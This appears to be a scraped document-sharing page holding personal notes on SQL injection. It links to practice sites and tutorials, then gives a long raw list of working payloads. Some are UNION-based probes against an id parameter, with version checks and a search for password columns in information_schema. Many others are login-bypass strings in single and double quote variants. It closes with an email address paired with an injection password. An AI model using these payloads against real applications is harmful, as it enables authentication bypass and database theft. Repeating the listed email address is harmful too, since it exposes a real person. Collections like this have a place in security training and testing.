Вы находитесь на странице: 1из 2

Testing Site for SQL Injection

http://www.techpanda.org/

Tutorial:
http://www.guru99.com/learn-sql-injection-with-practical-example.html
http://www.thisislegal.com/tutorials/18

https://192.168.2.38/sdsd?id=1' and 1=1

?id=1' and 1=1


?id=1
?id=1or 1=1 --
?id=1 or 1=1 /*
?id=1' or 1=1 /*
?id=1' or 1=1 --
?id=1 or '1'='1' --
?id=1' UNION ALL SELECT 1 --
?id=1' and substr(@@version,1)>3 --
?id=1' UNION ALL SELECT null --
?id=1' UNION ALL SELECT null,null --
?id=1' ORDER BY 1 -- no error
?id=1' ORDER BY 4 --
?id=1' UNION ALL SELECT 1,2,3 --
?id=1' UNION ALL SELECT null,null,null --
?id=1' UNION ALL SELECT null,2,null --
?id=1' UNION ALL SELECT null,null,3 -
?id=1'UNION ALL SELECT null,null,@@version --
?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE
column_name LIKE '%pass%' --

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Username: kchaudhari@yosatech.com
PWD: ') OR 1 = 1 -- ]

Вам также может понравиться